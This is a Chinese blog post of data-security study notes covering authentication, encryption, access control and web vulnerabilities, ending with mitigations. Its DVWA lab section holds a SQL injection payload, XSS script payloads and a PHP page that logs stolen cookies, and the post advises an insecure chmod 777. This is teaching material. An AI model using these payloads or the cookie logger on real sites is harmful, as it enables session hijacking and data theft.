数据安全笔记

本文探讨了数据安全的重要性,涵盖身份认证、授权、访问控制、加密算法、身份验证、缓冲区溢出、SQL注入、XSS攻击及其防范措施,以及数据存储和传输的安全策略。同时介绍了基础的三层架构、B/S和C/S架构,强调了安全架构的5A方法论。
摘要由CSDN通过智能技术生成

数据安全笔记


前言

数据安全越来越重要


提示:以下是本篇文章正文内容,下面案例可供参考

一、安全架构

安全术语

信息安全最广,数据安全更狭义
在这里插入图片描述

安全架构5A方法论

(1) 身份认证 Authentication
(2) 授权 Authorization
(3)访问控制Acccess Control
(4)可审计 Auditable
(5) 资产保护Asset Protection

在这里插入图片描述

二、产品安全架构

1.基础三层架构

在这里插入图片描述

  • 用户接口层(UI)/前端:用户浏览器呈现的部分
  • 业务逻辑层:通常与业务链接
  • 数据访问层:封装对数据的操作(删除,添加,修改,查询)等

2.B/S架构(浏览器Browser/服务器Server)

  • 早期:没有UI,业务逻辑,数据访问的三层分离,因此维护困难,不易于修改,造成攻击
    在这里插入图片描述
  • 发展后在这里插入图片描述
    缺点:数据库口令多处存放,加大数据库泄漏风险
  • 继续发展:将数据通过数据访问层封装起来,使得业务无法直接接触用户数据
    在这里插入图片描述

3.C/S架构(客户端Client/服务器Server)

在这里插入图片描述
多为企业使用

三、身份认证

1.单点登录(Single Sign On)

所谓单点登录,就是不管管理员工或用户访问哪个业务,只要一个身份认证入口
在这里插入图片描述

2.Ticket的使用方式

SSO单点登录系统验证无误后,返回一个认证通过的票据(Ticket),在后面访问中,有如下使用方式:

(1)会话机制

会话(session):由于HTTP协议本身是无状态的,除了请求本身所携带的信息,服务器不会知道更多用户侧信息,特别是不知道用户是谁,是否登录等等, 因此会话可以理解为浏览器和服务器之间的小秘密,用于记录一些常用状态

用户侧:记住 会话ID —>sessionid/sid,通过cookie机制发给浏览器

服务器侧:会话管理器存储着一张表,以下是样例:
在这里插入图片描述

会话机制过程:

在这里插入图片描述

(2) 全程Ticket机制

(3)持续的消息认证机制

一次性认证后的火花有效期如果设置非常长,就会增加风险,然而太短,用户体验就会不佳,因此引入了持续的消息认证机制,每次请求都进行身份认证,典型的有AEM-GCM(一种对称加密算法),如图:

在这里插入图片描述

3.加密算法

ps:
对称加密算法指加密和解密使用相同密钥的加密算法。对称加密算法用来对敏感数据等信息进行加密,常用的算法包括DES、3DES、AES、DESX、Blowfish、、RC4、RC5、RC6。

AES

在这里插入图片描述

  • 明文P
    没有经过加密的数据。
  • 密钥K
    用来加密明文的密码,在对称加密算法中,加密与解密的密钥是相同的。密钥为接收方与发送方协商产生,但不可以直接在网络上传输,否则会导致密钥泄漏,通常是通过非对称加密算法加密密钥,然后再通过网络传输给对方,或者直接面对面商量密钥。密钥是绝对不可以泄漏的,否则会被攻击者还原密文,窃取机密数据。
  • AES加密函数
    设AES加密函数为E,则 C = E(K, P),其中P为明文,K为密钥,C为密文。也就是说,把明文P和密钥K作为加密函数的参数输入,则加密函数E会输出密文C。
  • 密文C
    经加密函数处理后的数据
  • AES解密函数
    设AES解密函数为D,则 P = D(K, C),其中C为密文,K为密钥,P为明文。也就是说,把密文C和密钥K作为解密函数的参数输入,则解密函数会输出明文P。

https://blog.csdn.net/f_957995490/article/details/108299292

代码实现

非对称加密算法指加密和解密使用不同密钥的加密算法,也称为公私钥加密。假设两个用户要加密交换数据,双方交换公钥,使用时一方用对方的公钥加密,另一方即可用自己的私钥解密。
常见的非对称加密算法:RSA、DSA(数字签名用)、ECC(移动设备用)、Diffie-Hellman、El Gamal。

散列算法(Hash算法—单向加密算法)
散列是信息的提炼,通常其长度要比信息小得多,且为一个固定长度。

  • 加密性强的散列一定是不可逆的,这就意味着通过散列结果,无法推出任何部分的原始信息。任何输入信息的变化,哪怕仅一位,都将导致散列结果的明显变化,这称之为雪崩效应

  • 散列还应该是防冲突的,即找不出具有相同散列结果的两条信息。具有这些特性的散列结果就可以用于验证信息是否被修改。

    Hash算法:特别的地方在于它是一种单向算法,用户可以通过Hash算法对目标信息生成一段特定长度的唯一的Hash值,却不能通过这个Hash值重新获得目标信息。因此Hash算法常用在不可还原的密码存储、信息完整性校验等。
    
  • 单向散列函数一般用于产生消息摘要,密钥加密等,常见的Hash算法:MD2、MD4、MD5、HAVAL、SHA、SHA-1、HMAC、HMAC-MD5、HMAC-SHA1。

4.后台身份认证

四、授权

五、访问控制

1.访问控制三要素

主体,客体,控制策略
在这里插入图片描述

2.访问控制策略

  • 基于角色
  • 基于属性
  • 基于任务
  • 基于ACL
  • 基于专家知识
  • 基于IP
  • 基于IP

3.漏洞

i.不信任原则

应用系统不能假设用户都是好人,也不能假设内部员工都是好人!!!

因此需要进行:

  • 身份认证
  • 授权
  • 访问控制,执行来源限制,比如指定IP,防火墙等等

ii.缓冲区溢出

为了防止缓冲区溢出,所有接受外部的缓冲区都要进行辩解检查,否则很有可能造成系统奔溃,让黑客获取root权限等等

iii.SQL注入

a.dvwa安装详解 —— 靶机练习

安装教程

dvwa通关教程

localhost地址

http://192.168.64.2/dvwa/login.php
用户名:admin 密码:password

b. 举个🌰

在User ID中输入口令1,会显示
在这里插入图片描述
网站源码为:

 $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";

SQL语句为:

SELECT first_name, last_name FROM users WHERE user_id = '1';

经过修改

在User ID中输入口令
1' union select database(),user()#

进行查询 :

  • database()将会返回当前网站所使用的数据库名字.
  • user()将会返回执行当前查询的用户名.
    在这里插入图片描述

此时网站源码

$query  = "SELECT first_name, last_name FROM users WHERE user_id = '1' union select database(),user()#';"

#把后面的语句变为注释

SQL语句变为

SELECT first_name, last_name FROM users WHERE user_id = '1' union select database(),user()#'

其余见SQL注入详解

iv.XSS

a.XAMPP搭建自己的网站

搭建网站

虚拟机连接本地IP。。。尝试了好久

在这里插入图片描述
子网ip选自动默认就行
在这里插入图片描述

b.XSS分类详解
反射型XSS/非持久型

特点:

  • 出现在用户登录页面,网站搜索栏等等
  • 需要用户点击实现
  • 只对当前url连接生效

实验

<form action=""method="get">
  <input type="text" name="uname"><br/>
  <input type="submit" value="ok">
</form>

<hr/> #下划线

<?php

 $username=$_GET['uname'];
 echo "<p>hello,".$username."</p>"

 ?>

出现如下页面
在这里插入图片描述

输入<script>alert("ok")</script>

出现如下弹框

在这里插入图片描述

将该链接发送给受害者,受害者点击该链接就会产生XSS

图示及其他详解

存储型XSS/持久型XSS

特点:

  • 最常发生在由社区内容驱动的网站或 Web 邮件网站,比如博客评论,用户评论,留言板,聊天室,HTML 电子邮件,wikis,和其他的许多地方。

实验

在这里插入图片描述

dvwa构建的类似于博客的页面中输入:

<script> location="https://www.baidu.com"</script>

页面就会自动跳转到百度

类似的语句还有

#嵌入页面
#正常情况下代码:
<iframe src=https://www.baidu.com width=400 height=300></iframe>

#把页面隐藏起来
<iframe src=https://www.baidu.com  width=0 height=0 frameborder=0></iframe>

#获取cookie
<script>alert(document.cookie)  </script>

XSS获取cookie

1.自己搭建一个获取cookie的网页

<?php
 $cookie=$_GET['cookie'];
 $ip=getenv('REMOTE_ADDR');
 $time=date('Y-m-d');
 $referer=getenv('HTTP_REFERER');
 $fp=fopen('cookie.txt','a');
 fwrite($fp,",IP:".$ip."|DATE:".$time."|REFERER:".$referer."|COOKIE:".$cookie."|||");
 fclose($fp);
 ?>

而后点击该网页,目录下就会自动生成一个cookie.txt的文件在这里插入图片描述
ps:之前我点击getcookie.php之后一直没有产生cookie.txt,而且显示permission denied in /root/htdocs/。。。

之后电脑终端输入:

sudo chmod -R 777 /path

就好了

再从网页上自己设cookie=test

http://192.168.64.2/网站/getcookie.php?cookie=test

打开cookie.txt之后就会出现

在这里插入图片描述

XSS解决方法
  • 检查并且拒绝接受不安全的内容 ——>因为大部分XSS发生于用户输入
  • 对接受的内容进行转义
    比如HTNML中转义字符:HTML:&lt
    *js/css经常用反斜杠*

CSRF 跨站点请求伪造(Cross—Site Request Forgery)

防跨目录路径操作

SSRF

上传控制 . 防止webshell文件被上传

webshell,以脚本网页文件(PHP,JSP等)形式出现的命令执行环境,也称网页木马

方法

  • 只能由处理静态文件的静态服务器处理(apache,Nginx等)。 ps:静态网页 URL 的后缀通常为 .htm 、 .html 、 .shtml 、 .xml 动态网页是以 .asp 、 .jsp 、 .php 、 .perl 、 .cgi 等形式为后缀。具体动静态网页区别
    在这里插入图片描述

  • 用户上传的文件只能放在固定目录下,不能放在解析目录下

  • 不能使用原始文件名

Method控制

HTTP请求方法:

  • GET:不能使用GET传递敏感数据
  • HEAD
  • POST
  • PUT
  • DELETE
  • CONNECT
  • OPTIONS
  • TRACE

防止遍历查询

六、可审计

操作日志的保存与清理

  • 时间
  • 用户IP
  • 用户ID(用户名)
  • 操作:增、删、改、查 && 操作对象 :数据或资源

七、资产保护

1.数据存储加密

  • AES加密算法
  • 结构化数据存储的方式在这里插入图片描述
  • 一个安全的加密系统,至少需要二级以上的加密机制

在这里插入图片描述

2.数据传输安全

数据安全传输的两种方式:

  1. 应用层数据不加密,通道加密(如HTTPS).

2.应用层数据加密,通道不加密(比如用AES-GCM加密传输内容)

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值